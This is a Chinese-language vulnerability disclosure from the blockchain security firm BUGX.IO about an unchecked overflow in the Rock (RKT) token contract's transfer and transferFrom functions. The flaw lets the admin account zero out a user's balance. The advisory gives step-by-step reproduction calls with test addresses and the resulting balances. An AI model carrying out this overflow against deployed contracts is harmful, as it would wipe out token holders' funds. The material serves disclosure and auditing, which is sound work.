Hash Incubator参与投资和孵化的BUGX.IO是一家致力于区块链领域的安全公司。核心团队组建于2014年,BUGX.IO在区块链生态安全,行业解决方案,安全建设,红蓝对抗等方面有深厚积累与过硬专业素养。
背景介绍
Rock (RKT)是由直布罗陀区块链交易所发布的代币,旨在支持GBX的运作和金融服务以及金融科技生态系统。
近期BUGX.IO安全团队在审计过程中发现 Rock (RKT) 合约存在可以上溢的漏洞,通过此上溢漏洞,合约管理员 masterContractAddress 可以利用此漏洞,恶意销毁个人的 token。
该漏洞并非严格意义上的严重漏洞,此类属于管理员权限过大而能遭成个人通证被恶意销毁。开发者注释了原本的检查条件,造成了此漏洞,同时审计人员在审计过程中容易忽略此处问题。
漏洞说明
观察`transfer`和`transferFrom`函数,`balances[_to] += _value;` 没有做条件判断可以上溢,因此攻击者可以故意使 `balances[_to]` 上溢,变为极小值,但因为 `totalSupply = totalSupply.add(_balances[i]);` 做了限制,所以没有办法在一开始就让他们总和大于 uint256 ,但可以使用 convertTokens 增加,而 `convertTokens` 需要官方人员才可以执行。
执行条件:
由于总 token 余额 受到totalSupply 限制,只有合约 masterContractAddress 才有权限突破此限制。
需要攻击者的`balances[attacker]+ balances[vitim] >= uint256`才能使用攻击成功。
攻击场景:
官方故意让 vitim 用户的余额上溢,变为极小值.
攻击者让官方为其增加余额,然后攻击者实施攻击,让 vitim 用户余额上溢。
攻击流程
某正常用户拥有一定数量的 token ,设为 token1
masterContractAddress 使用 convertTokens 为攻击者余额增加 token2 (当 token1 + token2 >= uint256 时即可实施攻击)
1 :使用 transfer 上溢
attacker transfer 攻击 vitim 使其额度变为极小值
2 : 使用 transferFrom上溢
attacker approve 使自己有转账额度
attacker transferFrom 攻击 vitim 使其额度变为极小值
复现过程
这里复现过程把将 vitim 用户 token 初始化为2**256-50而攻击者 token 为 50,两者加起可以溢出。
01
transfer 上溢
masterContractAddress:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
vitim:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
attacker:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
1)owner部署合约:
执行 deploy:
执行 convertTokens:
"50","0x14723a09acff6d2a60dcdf7aa4aff308fddc160c"
执行 enableTransfers ,使能交易
执行 balanceOf 查看此时两个地址的 balances :
0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db地址:
115792089237316195423570985008687907853269984665640564039457584007913129639886
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 地址:50
2 )切换到 attacker 执行攻击:
执行 transfer :
"0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db",50
执行 balanceOf 查看被balances :
发现已经上溢变为 0
02
transferFrom 上溢
masterContractAddress:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
vitim:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
attacker:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
1)owner部署合约:
执行 deploy:
执行 convertTokens:
"50","0x14723a09acff6d2a60dcdf7aa4aff308fddc160c"
执行 enableTransfers ,使能交易
执行 balanceOf 查看此时两个地址的 balances :
0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db地址:
115792089237316195423570985008687907853269984665640564039457584007913129639886
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 地址:50
2 )切换到 attacker 执行攻击:
执行 approve:
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c",50
执行 allowance:
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x14723a09acff6d2a60dcdf7aa4aff308fddc160c"
执行 transferFrom :
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db",50
执行 balanceOf 查看被balances :
发现已经上溢变为 0
资料
RKT 合约地址:
masterContractAddress:
BUGX.IO是一家致力于区块链领域的安全公司。核心团队组建于2014年,我们在区块链生态安全、行业解决方案、安全建设、红蓝对抗等方面有深厚积累与过硬专业素养。
领取专属 10元无门槛券
私享最新 技术干货